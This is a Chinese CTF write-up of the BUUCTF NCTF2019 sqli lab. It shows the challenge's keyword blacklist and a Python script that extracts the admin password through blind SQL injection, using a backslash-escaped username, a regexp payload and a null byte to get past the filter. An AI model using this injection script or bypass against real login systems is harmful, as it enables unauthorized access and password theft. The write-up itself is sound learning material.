55.【5】BUUCTF WEB NCTF2019 sqli

进入靶场

输入admin 123

过滤的这么严格???

过滤很严格,此时要么爆破,要么扫描

直接扫描,得到robots.txt

访问后又得到hint.txt

继续访问

图片内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了

看了别人的wp

需要进行正则匹配,需要python脚本

下面的代码会跑出密码

复制代码
import requests
from urllib import parse
import string

url = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

over

笔记

1,连续2道题用到python脚本了

2,学习了正则匹配

相关推荐
d111111111d4 分钟前
STM32外设学习--USART串口外设--学习笔记。
笔记·stm32·单片机·嵌入式硬件·学习
摇滚侠7 分钟前
GIT版本管理工具轻松入门 | TortoiseGit,解决冲突,笔记07
笔记·git
河铃旅鹿17 分钟前
Android开发-java版:BroadcastReceiver广播
android·笔记·学习
koo36426 分钟前
李宏毅机器学习笔记
人工智能·笔记·机器学习
Leon-Ning Liu27 分钟前
Oracle 19C 数据字典 DBA_HIST_SEG_STAT 详细说明
数据库·oracle·dba
⑩-39 分钟前
苍穹外卖Day(1)
java·数据库·spring boot·spring·java-ee·mybatis
洋洋的笔记41 分钟前
小白银行测试初步了解(四)信用卡
经验分享·笔记·学习
im_AMBER1 小时前
HTTP概述 01
javascript·网络·笔记·网络协议·学习·http
华硕广东1 小时前
当电脑开机自动进入 BIOS 更新画面时,不必惊慌~
科技·安全·技术美术
朝新_1 小时前
【统一功能处理】从入门到源码:拦截器学习指南(含适配器模式深度解读)
数据库·后端·mybatis·适配器模式·javaee